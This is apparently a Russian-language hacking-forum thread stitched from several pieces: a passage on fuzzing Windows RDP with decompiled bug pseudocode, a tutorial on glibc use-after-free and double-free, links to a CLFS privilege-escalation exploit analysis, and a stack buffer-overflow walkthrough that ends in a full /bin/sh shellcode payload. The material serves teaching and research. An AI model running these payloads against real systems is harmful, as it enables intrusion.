Первоначальный план фаззинга сервера был аналогичен плану клиента, то есть фаззить несколько экземпляров цели параллельно на одном компьютере, что требует запуска нескольких экземпляров TermService . Это оказалось довольно сложной задачей, так как Windows не поддерживает это по умолчанию. Когда мы попытались сделать это вручную, мы даже увидели несколько жестко закодированных строк в termsrv.dll , которые указывают на TermService и его ключи реестра, поэтому мы решили сосредоточить наши усилия на другом месте и просто использовать несколько виртуальных машин для параллельного фаззинга сервера.
В настройке фаззинга клиента мы использовали вызов API на стороне сервера [WTSVirtualChannelWrite() ](https://docs.microsoft.com/en- us/windows/win32/api/wtsapi32/nf-wtsapi32-wtsvirtualchannelwrite)для отправки входных данных фаззинга в цель. К сожалению, мы не смогли найти аналогичный API, который позволял бы нам отправлять входные данные на сервер через RDP- соединение. Следовательно, мы решили использовать специально созданный FreeRDP (популярный клиент RDP с открытым исходным кодом) с машины Ubuntu для отправки входных данных на нечеткий сервер. Обратите внимание, что это не идеальная установка для фаззинга, и эти ограничения привели к тому, что скорость фаззинга сервера составляла примерно 1/10 от скорости фаззинга клиента.
Вот компоненты настройки при фаззинге сервера:
Цель — зависит от канала, который подвергается фаззингу. Это может быть termsrv.dll , audiodg.exe , rdpinput.exe . (см. «Поиск соответствующего кода» в задачах в следующем разделе, чтобы понять, как мы определили цель для каждого канала).
Инструментарий — в этой настройке фаззер не контролирует инициализацию целевого процесса. Таким образом, чтобы отслеживать покрытие кода, мы должны оснастить работающую цель. Наш любимый фаззер, WinAFL, может использовать несколько инструментальных платформ, и мы выбрали DynamoRIO за его расширяемость и надежность.
DynamoRIO (а значит, и WinAFL) не поддерживает присоединение к живому процессу из коробки. Мы изменили этот запрос на вытягивание , чтобы реализовать его, и изменили WinAFL, чтобы использовать эту функцию.
Стоит отметить, что эта функция присоединения открывает двери для фаззинговых процессов, которые раньше были «нефаззинговыми» с помощью WinAFL — процессов, создание которых пользователь не может контролировать. В частности, он позволяет выполнять фаззинг служб Windows.
При запуске первого канала (фаззинг клиента) мы столкнулись с проблемой: как только на стороне клиента обнаруживалось два недопустимых сообщения, он немедленно разрывал соединение.
Чтобы избежать этой проблемы, мы ввели некоторые грамматики протокола в логику агента, т. е. ограничение пространства разрешенных входных данных. Среди прочего мы реализовали:
Ограничения размера сообщения
Ограничения значений
Мы извлекли часть грамматики RDP из[ документации](https://docs.microsoft.com/en- us/openspecs/windows_protocols/ms-rdpbcgr) RDP и его расширениям, часть — из обратного проектирования соответствующих двоичных файлов, а остальное — из отслеживания неудачных целевых исполнений.
Например, эту логику можно использовать, чтобы разрешать только сообщения,
которые начинаются с одного из поддерживаемых msgTypes , за которыми следует
размер PDU и уникальный идентификатор, а общий размер которых составляет от 22
до 122, а в остатке остается 2 по модулю 4. .
Важно отметить, что, применяя эти принудительные меры, вы практически
ограничиваете способность движка мутаций изменять тестовые примеры по своему
усмотрению, тем самым потенциально пропуская интересные мутации. По этой
причине мы старались применять как можно меньше, но при этом гарантировать,
что соединение не будет закрываться слишком часто.
Другим важным моментом здесь является то, что применение грамматических правил
— не единственный вариант решения подобных проблем. В случае с одним
конкретным каналом (GFX) мы обратились к исправлению фактической целевой
функции, которую мы фаззили, чтобы она не закрывала соединение в случае
недопустимого набора сообщений. Это позволило нам продолжить фаззинг
недопустимых сообщений и постоянно держать соединение открытым. Здесь также вы
рискуете обнаружить сбои, которые не будут воспроизводиться в исходном коде
(без патча). Это отличный пример тонкого баланса, который требуется для
фаззинга между обеспечением достаточной скорости выполнения при сохранении
исходной функциональности целевой программы и свободой механизма мутации.
Фаззинг с несколькими входами
Само собой разумеется, что большая часть логики и, следовательно, большинство ошибок зависят от последовательности сообщений, а не от одного. Не случайно большинство обнаруженных нами ошибок включали как минимум два сообщения. Чтобы выявить эти ошибки, мы ввели фаззинг с несколькими входами. Мы использовали [словарь фаззера ](https://lcamtuf.blogspot.com/2015/01/afl-fuzz-making-up- grammar-with.html), который идентифицирует начало нового сообщения и его тип. Затем агент разделит ввод на несколько PDU в соответствии с этими словарными словами и отправит их один за другим.
Таким образом, вход с несколькими входами может выглядеть примерно так:
Code:Copy to clipboard
___cmd07 <1st PDU data>
___cmd02 <2nd PDU data>
___cmd03 <3rd PDU data>
которые агент переводит в три сообщения с msgType 7, 2 и 3 и их соответствующим содержимым.
Чтобы поддерживать однозначное соответствие между входными данными, созданными
фаззером, и вызванным им покрытием кода, мы ввели второй маркер, который
идентифицировал последнее сообщение в последовательности. Только когда WinAFL
определяет, что вызов с этим «последним в последовательности» маркером
завершается, он завершает цикл и создает следующий ввод.
Хотя фаззинг с несколькими входами был решающим (и плодотворным) для наших
усилий, мы также сочли необходимым ограничить количество PDU для каждого
тестового случая. Это связано с тем, что фаззер обращается к входным данным,
которые приводят к другой последовательности кода. Повторение одного и того же
сообщения 100 раз приводит к другой кодовой последовательности, чем
однократная отправка.
Проблемы с воспроизведением
Примерно через неделю фаззинга появился первый сбой. Однако сбой не
повторился, когда мы снова попытались запустить тот же ввод. Это случалось
довольно часто, и, вероятно, это было связано с природой протокола с
отслеживанием состояния. Другими словами, один тестовый пример приводил
клиента в определенное состояние, которое затем «использовалось» последующим
тестовым набором для сбоя цели.
Чтобы понять невоспроизводимые сбои, мы модифицировали WinAFL для создания
дампа памяти целевого процесса при каждом обнаружении сбоя.
Автоматизация анализа сбоев
Создание дампов по крашам решило одну проблему, но создало другую: если крах
обнаружен, очень вероятно, что он будет повторяться неоднократно. Как правило,
WinAFL пытается обнаруживать идентичные сбои и уведомлять только об
«уникальных сбоях», но наш фаззинг нескольких сообщений сильно усложнил это
обнаружение. Подумайте о случае, когда одно сообщение вызывает сбой цели.
Фаззер может создать любой набор сообщений с этим сообщением в конце. Каждый
из этих наборов сообщений приведет к сбою цели, а также приведет к другому
битовому массиву покрытия, поскольку сообщения и их обработка различны (за
исключением последнего, который действительно имеет значение). Это заставит
WinAFL каждый раз сообщать об уникальном сбое.
Нам пришлось автоматизировать анализ сбоев по двум причинам. Во-первых,
утомительно вручную анализировать каждый сбой (только для того, чтобы
обнаружить, что это старая новость), а во-вторых, диск быстро заполнялся
дампами памяти.
Чтобы преодолеть эту проблему, мы написали сценарий WinDBG, который
анализирует сбой и извлекает из него стек сбоя. Затем мы запустили сценарий
PowerShell, который периодически анализирует сбои и сохраняет только те,
которые содержат новые стеки (и отправляет нам хорошие новости по электронной
почте).
Длительное время запуска
В клиентской настройке фаззинга с момента создания цели ( mstsc.exe ) фаззером до момента установления соединения и возможности отправки первого сообщения прошло более 10 секунд. Следовательно, было крайне важно выполнить как можно больше итераций без перезапуска цели. Мы достигли этого, используя -fuzz_iterations AFL-Fuzz и предоставив как можно больше итераций (до того, как что-то начнет ломаться).
Многоканальный фаззинг
Подобно фаззингу с несколькими входами, некоторая логика требует
последовательности сообщений на разных каналах. Например, отправка данных
камеры с клиента на сервер поддерживается с использованием нескольких каналов,
как описано в [документации ](https://docs.microsoft.com/en-
us/openspecs/windows_protocols/ms-
rdpecam/92af6790-b79c-4813-9c07-7c545bed0242).
Таким образом, если мы хотим фаззить сервер, отправляя входные данные с
камеры, мы должны сделать это как минимум на двух разных каналах.
Наше решение тоже было похожим — словарь фаззера также определял канал, по
которому должно было быть отправлено сообщение.
Поиск соответствующего кода
Поскольку RDP имеет много разных компонентов в Windows, может быть сложно даже найти целевую функцию, которую нам нужно фаззить.
Code:Copy to clipboard
PS C:\> gci -Include *.exe, *.dll, *.sys -Recurse C:\Windows\ -ErrorAction SilentlyContinue | ?{[System.Diagnostics.FileVersionInfo]::GetVersionInfo($_).FileDescription -match "RDP|Remote Desktop"} | Measure-Object | select count
Count
-----
191
Чтобы сделать это быстро, мы создали небольшую базу данных всех символов, которые могут быть связаны с нашим проектом.
Идея заключалась в том, чтобы загрузить все PDB-файлы, относящиеся к нашей
версии Windows, извлечь из них все имена функций и выгрузить их в файл (со
ссылкой на exe/sys/dll), чтобы мы могли быстро искать имена функций и найдите
функцию, связанную с нашим текущим целевым каналом. Это очень помогло.
Поскольку почти все функции приема динамических каналов соответствуют
следующему шаблону C
Канал AUDIO_PLAYBACK (сервер → клиент)
Канал AUDIO_PLAYBACK_DVC используется для воспроизведения звуков с сервера на клиенте. Его нормальный поток состоит из двух последовательностей: инициализация и передача данных. При обычном использовании протокола последовательность инициализации выполняется один раз в начале, за которой следует множество последовательностей передачи данных.
Последовательность инициализации — используется для установки версии и
форматов , которые будут использоваться в следующих последовательностях
данных.
Последовательность передачи данных — звуковые данные с сервера для
воспроизведения на клиенте.
WaveInfo Wave и PDU содержат индекс массива форматов, которым обмениваются в последовательности инициализации, определяющей формат передаваемых аудиоданных.
Когда происходит изменение формата, т. е Wave или WaveInfo поступает с
индексом, отличным от последнего использовавшегося, — клиент проверяет
правильность нового индекса.
Code:Copy to clipboard
// в mstscax!CRdpAudioController::OnNewFormat
if ( ( unsigned int ) new_format_index > = this - > formatArray_size
Однако, пока индекс формата остается прежним, эта проверка пропускается ( OnNewFormat() ) не вызывается и код проверки находится в ней). Вот псевдокод соответствующих частей.
Code:Copy to clipboard
/ in mstscax!CRdpAudioController::OnWaveData
last_format_index = this->last_format_index;
format_index_from_pdu = *((_WORD *)pdu + 3); //pdu is controlled by the server
if ( last_format_index != format_index_from_pdu )
{
CRdpAudioController::OnNewFormat(this, (__int64 *)format_index_from_pdu); // this is where the bound check is being made
Уязвимый поток
Это позволяет злоумышленнику вызвать перераспределение массива форматов с
помощью дополнительного PDU серверных аудиоформатов, а затем указать
недопустимый индекс, который ранее был действительным и использовался, что
приводит к считыванию клиентом границ массива форматов и аварийному завершению
работы.
Обратите внимание, что эта ошибка в значительной степени зависит от фаззинга
с несколькими входами, и мы не смогли бы найти ее без этой функции.
Канал AUDIO_INPUT (Клиент → Сервер)
канал AUDIO_INPUT используется для отправки звука от клиента на сервер. На стороне сервера входные аудиоданные обрабатываются audiodg.exe .
Как и в канале AUDIO_PLAYBACK_DVC , клиент и сервер сначала обмениваются
массивом звуковых форматов, которые они поддерживают.
Начинается PDU звуковых форматов с заголовка из девяти байтов, который
включает в себя команду, количество форматов и размер пакета, за которым
следует массив форматов, каждый из которых имеет переменную длину (плюс
необязательное поле дополнительных данных).
Код, обрабатывающий PDU звуковых форматов , находится в rdpendp.dll . Сначала он проверяет, что размер пакета составляет не менее девяти байтов, а затем считывает заголовок и проверяет, что размер из заголовка не превышает размер пакета.
Code:Copy to clipboard
// in rdpendp!CAudioInputHandler::OnFormatsReceived
if ( size < 9 )
{
// ...
}
// ...
size_from_msg = *(_DWORD *)(data + 5);
if ( size_from_msg > size )
{
// ...
}
Затем та же функция вычитает девять из размера , считанного из заголовка,
и считывает количество форматов, указанное в заголовке, если оставшаяся длина
достаточно велика.
Размер из заголовка не защищен от целочисленного потери значимости, что может
привести к тому, что это вычитание будет зациклено и приведет к тому, что
программа будет считывать «форматы» после конца пакета.
Code:Copy to clipboard
// in rdpendp!CAudioInputHandler::OnFormatsReceived
underflowed_size = size_from_pdu - 9;
format_definition_offset = (unsigned __int16 *)(pdu + 9);
if ( num_formats )
{
while ( underflowed_size >= 0x12 )
{
format_definition_size = format_definition_offset[8];
total_format_size = format_definition_size + 18;
if ( underflowed_size < (unsigned __int64)(format_definition_size + 18) )
break;
(*class_fomats_array)[format_index] = (struct SNDFORMATITEM *)operator new[](total_format_size);
local_format = (*class_fomats_array)[format_index];
if ( !local_format )
{
status = E_OUTOFMEMORY;
goto CLEAN_AND_RETURN;
}
memcpy_0(local_format, format_definition_offset, total_format_size);
format_definition_offset = (unsigned __int16 *)((char *)format_definition_offset + total_format_size);
underflowed_size -= total_format_size;
if ( ++format_index >= num_formats )
goto LABEL_50;
}
goto INVALID_ARG_EXIT;
}
Обратите внимание, что у нас нет контроля над инициализацией процесса audiodg . Таким образом, мы не смогли бы найти эту ошибку без функции подключения DynamoRIO.
Резюме
В этом блоге мы представили наш процесс решения сложной задачи фаззинга: RDP-
клиент и сервер Windows. Мы хотели поделиться нашим процессом по нескольким
причинам.
Во-первых, мы считаем важным поделиться процессом, даже если вы не смогли
достичь своей первоначальной цели (например, RCE). Это может помочь вам
задуматься о своем собственном процессе — что, казалось, работало хорошо, а
что можно было бы улучшить. Это также может помочь сообществу безопасности
извлечь уроки из прошлого опыта.
Во-вторых, несмотря на то, что настройка среды фаззинга может быть сложным
процессом, мы считаем, что это цель, которую стоит преследовать — даже с более
сложными задачами, такими как та, которую мы представили здесь. RDP — очень
сложный протокол с множеством компонентов и разными кодовыми базами. В
сочетании с тем фактом, что он настолько популярен (более 4 миллионов серверов
с выходом в Интернет на основе Shodan.io
), он становится очень
прибыльной целью для злоумышленников. Это означает, что мы, как сообщество
безопасности, должны приложить большие усилия, чтобы сделать его более
безопасным.
Введение в эксплуатацию двоичных файлов x64 Linux (часть
1)
Введение в бинарную эксплуатацию x64 Linux (часть
2)
Heap exploitation, Overflows (часть 3)
В этой статье мы обсудим концепцию использования ранее освобожденной памяти, которая широко известна как Use-After-Free (UAF).
Definition
a chunk of memory can basically exist in two states , which is either in-use or free. An in-use chunk carries, along with the data payload, information about its size, the arena it belongs, the previous chunk and whether or no it is mmap’d. When a chunk is free , it is added to a particular list (tcache, fastbins etc.) depending on the current state of the program. During this state it carries information about its size as well as the memory addresses of other chunks, so it can be easily traced and reused by following a process which requires a new allocation.
Click to expand...
Когда программа пытается получить доступ к блоку, который был помечен аллокатором как свободный, результат будет непредсказуемым, поскольку он обычно зависит от состояния программы до или после этого события. Это состояние может включать способ, которым будет использоваться ошибочная ссылка, но, что более важно, каково текущее содержимое чанка. Состояние, которое я только что описал, называется Use After Free (UAF) и является одной из наиболее часто встречающихся ошибок, последствия которой варьируются от простого сбоя программы до выполнения произвольного кода.
Use After Free - это класс уязвимостей, которые возникают, когда программа пытается разыменовать указатель, указывающий на освобожденный фрагмент.
Возьмем для примера указатель p, который указывает на чанк A, содержащий адрес функции f1. Предположим, что по какой-то причине A был освобожден и добавлен в список свободных чанков. Теперь представьте, что в какой-то момент A снова выделяется и на этот раз содержит адрес функции f2. Поскольку p все еще указывает на A, при повторном обращении к нему будет инициировано выполнение f2:
First Fit
C:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;
fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}
Если мы скомпилируем и запустим программу, то получим следующий результат:
В точках 1,2 переменная a указывает на 0x5558007bf010, которая содержит строку this is A
В точке 3 переменная a освобождается.
В точке 4 переменная c запрашивает одинаковый размер с переменной a, таким образом, первый кусок, который подходит, это тот, на который указывала переменная a.
В точке 5, при повторном обращении к переменной a, будет выведено This is C!, так как чанк был перезаписан переменной c
UAF Example 0
<https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory- corruption.html>
Code:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
struct unicorn_counter { int num; };
int main() {
struct unicorn_counter* p_unicorn_counter;
int* run_calc = malloc(sizeof(int));
*run_calc = 0;
free(run_calc);
p_unicorn_counter = malloc(sizeof(struct unicorn_counter));
p_unicorn_counter->num = 42;
if (*run_calc) execl("/bin/sh", 0);
При запуске этого кода просто откроется окно Shell:
Но почему? Ведь *run_calc был установлен в 0, поэтому строка 13 будет иметь значение false и execl никогда не запустится. Давайте загрузим программу в gdb и установим точку останова после первого malloc и присвоения *run_calc значения 0:
Как и ожидалось, run_calc указывает на 0x00005555555592a0, который содержит нулевое значение:
p_unicorn_counter будет указывать на тот же чанк с run_calc из-за того же требования выделения в строке 11, поэтому после строки 12 чанк будет выглядеть следующим образом:
При повторном обращении к run_calc она будет содержать значение 0x2a, таким образом, if будет успешным, и execl будет вызван.
UAF Example 1
C:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
typedef void (*fp)();
void func1(){
printf("[*] --------> This is func 1\n");
}
void func2(){
printf("[*] --------> This is func 2\n");
}
void main()
{
fp *pointer1 = malloc(sizeof(fp));
*pointer1 = func1;
(*pointer1)();
printf("[1] pointer1 points to %p\n",pointer1);
printf("[2] Freeing pointer1\n");
free(pointer1);
fp *pointer2 = malloc(sizeof(fp));
*pointer2 = func2;
(*pointer2)();
printf("[3] pointer2 points to %p\n",pointer2);
printf("[4] Using pointer1 after free\n");
(*pointer1)();
gets();
}
В строке 4 мы определяем fp как указатель на функцию, которая не получает никаких параметров и возвращает void. В строке 15 мы определяем указатель типа fp, который указывает на func1 (строка 16). В строке 21 мы вызываем функцию free для указателя1 и повторяем тот же процесс для func2 и указателя2. Проблема возникает в строке 33, поскольку мы повторно используем указатель, который ранее был освобожден. Если мы скомпилируем и запустим программу, то получим следующий результат:
Хотя до состояния [4] все шло как ожидалось, сразу после него мы наблюдаем вызов func2, хотя мы никогда не присваивали адрес func2 указателю pointer1. Чтобы понять, что произошло, давайте загрузим программу в gdb и установим несколько точек останова после вызовов malloc и free:
После первого malloc и присвоения адреса func1 указателю1 мы имеем следующие распределения:
Впоследствии, после вызова free, чанк, на который указывает указатель1, добавляется в список tcache:
Поскольку указатель1 по-прежнему указывает на 0x00005555555592a0, вызов (*pointer1)(); в строке 33 нашей программы вызовет функцию func2.
UAF Example 2
Code:Copy to clipboard
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
} auth;
struct auth *authVar;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", authVar, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
authVar = malloc(sizeof(auth));
memset(authVar, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(authVar->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(authVar);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(authVar->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
Программа содержит цикл while (строки 19-44) и действует в соответствии с вводом пользователя, который поступает в строке 22. Ввод команды auth, за которой следует строка, вызывает бранч в строке 25. В результате будет выделено место в соответствии с размером структуры auth и выделенные байты будут установлены в ноль (строка 26). Если строка, переданная после "auth ", меньше 31 байта (строка 27), ее содержимое будет скопировано в область памяти, на которую указывает переменная authVar->name.
Команда service будет использовать strdup для дублирования заданной строки с помощью функции malloc:
The strdup() function returns a pointer to a new string which is a duplicate of the string s. Memory for the new string is obtained with malloc(3), and can be freed with free(3).
Click to expand...
The auth struct requires 36 bytes in total, this is 32 bytes for the name and 4 more for the auth integer. The allocator needs to add 8 more bytes to track the size of the chunk which creates a requirement of 0x24 bytes which will finally result a 0x30 bytes allocation due to the 16 bytes alignment. When the program calls the free function the chunk will be added to the tcache in order to serve the next (similar size) allocation requirement. Here is where the service command gets into frame. If we create an allocation requirement for 0x30 bytes, the freed chunk will be assigned to the char *service pointer. Since control the input, according to line 35, we can overwrite the auth integer value with an arbitrary one and pass the login check.
Click to expand...
Давайте сначала попробуем сделать это предположение:
Как и ожидалось, значение 123456789012345678901234567890AB перезаписало целое число authVar->auth, что позволило нам войти в систему под именем admin. Давайте загрузим программу в gdb, чтобы получить лучшее представление. Установим одну точку останова после функции strcpy и запустим программу:
После ввода "auth admin" у нас есть следующие блоки:
authVar указывает на 0x555555559ac0 и выделенный чанк имеет размер 0x30 байт:
Нажатие кнопки reset вызовет функцию освобождения для выделенного чанка, и он будет добавлен в tcache:
Если набрать service 123456789012345678901234567890AB, то будет создано требование на 34 байта (включая пробел после service и новую строку), поэтому указатель service будет указывать на то же место с authVar:
Теперь введем логин и рассмотрим чанк по адресу 0x555555559ac0
Значение 0x0a42 перезаписало int auth, поэтому if(authVal->auth) будет оценено как true и позволит нам войти в систему.
Double Free
C:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates a simple double-free attack with fastbins.\n");
printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
printf("Freeing the first one...\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
assert(a == c);
}
В строках 11-18 программа заполняет список tcache.
В строках 20-23 программа выделяет еще три чанка размером 1x8, а в строке 30 мы имеем первый вызов free для указателя a. В строке 39 мы имеем второй вызов free для указателя a. До строки 39 список fastbins выглядел следующим образом:
И после строки 39 (обратите внимание на адреса в начале и конце списка):
В строках с 42 по 44 у нас есть три распределения, которые будут обслуживаться из фастбинов, но поскольку первый и последний чанк одинаковы, a и c будут указывать на одно и то же место 0x5555555593a0. Ошибочное распределение можно проверить, просто запустив программу:
Обратите внимание в последних 3 строках, что a и c указывают на 0x55b275b703a0
![valsamaras.medium.com](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1112%2F1%2AQElXLTYeRxc- T_XptVlAzA.png&hash=f48be15f2dcb4d63995df70f90a13d13&return_error=1)
Double free (Part 4) ](https://valsamaras.medium.com/use-after- free-13544be5a921)
This post is part of a series of articles related to x64 Linux Binary Exploitation techniques. Summarising on my previous posts, we beganâ¦
valsamaras.medium.com
В первой части описана причина:
![www.zscaler.com](/proxy.php?image=https%3A%2F%2Fcms.zscaler.com%2Fsites%2Fdefault%2Ffiles%2Fimages%2Fblogs%2F ----category-images%2Fzero-day%2Fzscaler-blog-zero- day-4%25402x_0.jpg&hash=8f8145fb4b936326b7d3f0fd330b332e&return_error=1)
CVE-2022-37969 - Part 1: Root Cause Analysis ](https://www.zscaler.com/blogs/security-research/technical-analysis-windows- clfs-zero-day-vulnerability-cve-2022-37969-part)
Demystifying the Windows Common Log File System Driver Privilege Escalation Zero-Day Vulnerability (CVE-2022-37969)
www.zscaler.com
Во второй анализируется сэмпл сплоента:
![www.zscaler.com](/proxy.php?image=https%3A%2F%2Fcms.zscaler.com%2Fsites%2Fdefault%2Ffiles%2Fimages%2Fblogs%2F ----category-images%2Fzero-day%2Fzscaler-blog-zero- day-4%25402x_1.jpg&hash=a4a1c63a77c52fb75f9963e4bf733afd&return_error=1)
CVE-2022-37969 - Part 2: Exploit Analysis ](https://www.zscaler.com/blogs/security-research/technical-analysis-windows- clfs-zero-day-vulnerability-cve-2022-37969-part2-exploit-analysis)
Technical Analysis of Windows CLFS Zero-Day Vulnerability CVE-2022-37969 - Part 2: Exploit Analysis
www.zscaler.com
Вторая часть будет особенно полезна энтузиастам, т.к. подробно описаны актуальные (всё еще) техники для LPE (Windows 10/11). Забавно, но в эксплойте есть одинаковые строки с другим ядерным сплоентом и код явно был частично скопирован или переиспользован (там ошибочка есть). Также любопытно, что в этом сплоенте реализована функция проверки по UBR, что действительно актуально для сплоентов, т.к. версии билда уже недостаточно. Нигде раньше не видел, хотя писал про это пару лет назад на форуме. Только непонятно почему разраб дергал UBR из реестра, а билд дергал из PEB, хотя всю необходимую системную информацию можно было также взять из той ветки, ну да ладно.
Дефекты переполнения буфера могут присутствовать как в продуктах веб-сервера и сервера приложений, которые обслуживают статические и динамические части сайта, так и в самом веб-приложении. Переполнения буфера, обнаруженные в широко используемых серверных продуктах, скорее всего, станут широко известны и могут представлять значительный риск для пользователей этих продуктов.
Когда веб-приложения используют библиотеки, такие как графическая библиотека для создания изображений или коммуникационная библиотека для отправки электронной почты, они открываются для потенциальных атак на переполнение буфера. Литература с подробным описанием атак переполнения буфера на широко используемые продукты легко доступна, а сообщения о вновь обнаруженных уязвимостях поступают практически ежедневно.
example.c:
C:Copy to clipboard
int main(int argc, char *argv[]){
char buf[256];
strcpy(buf, argv[1]);
printf("%s\n , buf");
return 0;
}
Итак, мы создаем массив символов, затем копируем argv[1] в массив, который мы только что создали, и мы использовали strcopy, чтобы буфер был настолько большим, насколько мы хотим. Затем мы просто выводим его и возвращаем 0.
Здесь нам нужно понять, что мы можем перезаписывать стек и, следовательно, можем перезаписывать информацию.
Code:Copy to clipboard
disas main
Теперь нам нужно выяснить, где начинается стек. Первый адрес памяти.
Для этого нам нужно сделать точку останова. поэтому давайте захватим часть памяти ниже функции вызова и пусть это будет наша точка останова.
Code:Copy to clipboard
break 0x08048475
Теперь мы хотим вывести что-то, что мы можем увидеть в стеке, чтобы знать, где начинается буфер. Давайте воспользуемся буквой A, которая в шестнадцатеричном формате равна 0x41.
Code:Copy to clipboard
run $(python -c "print('A' *256)")
Мы просто печатаем 256 букв A в коде. Выполним эту команду, и она остановится на точке прерывания, которую мы поставили. Теперь давайте рассмотрим нашу инъекцию в шестнадцатеричном формате, чтобы проверить, сработала ли она.
Code:Copy to clipboard
x/200xb $esp
x - это сокращение от Examine, 200 - это количество байт, которое мы хотим видеть на экране, следующее x - для шестнадцатеричных значений, а b - для байта. Затем мы устанавливаем значение $esp, потому что это указатель стека.
Отлично, мы видим начальный адрес буфера. С него начинаются адреса 0x41. Так что давайте скопируем первый адрес, 0xffffced0.
Следующее, что нам нужно сделать, это узнать размер буфера. Для этого мы можем снова запустить наш сценарий Python, но немного изменить его и поиграть с некоторыми значениями, пока не получим переполнение.
Code:Copy to clipboard
run $(python -c "print('A' *260)")
Давайте попробуем для начала 260 байт. Мы хотим получить 'Segmentation Fault', а не нормальный выход из буфера, поэтому нам придется повозиться с количеством отправляемых байт.
Ладно, 260 не сработало, но что сработало для нас, так это 268.
Отлично, так что если мы запустим его с чем-нибудь больше 268, мы должны снова увидеть наши символы A.
мы знаем, что у нас есть 268 байт памяти, доступной для записи, и мы хотим заполнить ее как можно большим количеством NOP. Единственное, что нам еще нужно написать, это код оболочки.
Code:Copy to clipboard
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
По сути, все, что это делает, это говорит компьютеру запустить SHELL. Поскольку его длина составляет 46 байт, нам нужно вычесть это значение из 268 байт, которые мы получили ранее. 268-46=222. Так вот сколько nop мы собираемся записать. Значение для nop равно \x90. Итак, давайте используем эти значения и снова выполним скрипт Python.
Code:Copy to clipboard
run $(python -c "print('\x90' *222+ '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\xd0\xce\xff\xff')")
Большинство компьютеров в наши дни работают в режиме Little Endian, поэтому нам пришлось изменить адрес в конце в обратную сторону, чтобы это сработало. Таким образом, \xff\xff\xce\xd0 адрес памяти, который мы скопировали ранее, становится \xd0\xce\xff\xff.
- https://chortle.ccsu.edu/AssemblyTutorial/Chapter-15/ass15_3.html
Vulnerability](https://linuxsecurityblog.com/2019/12/09/gaining-root-from-a- buffer-overflow-vulnerability/)
Вместо вступления
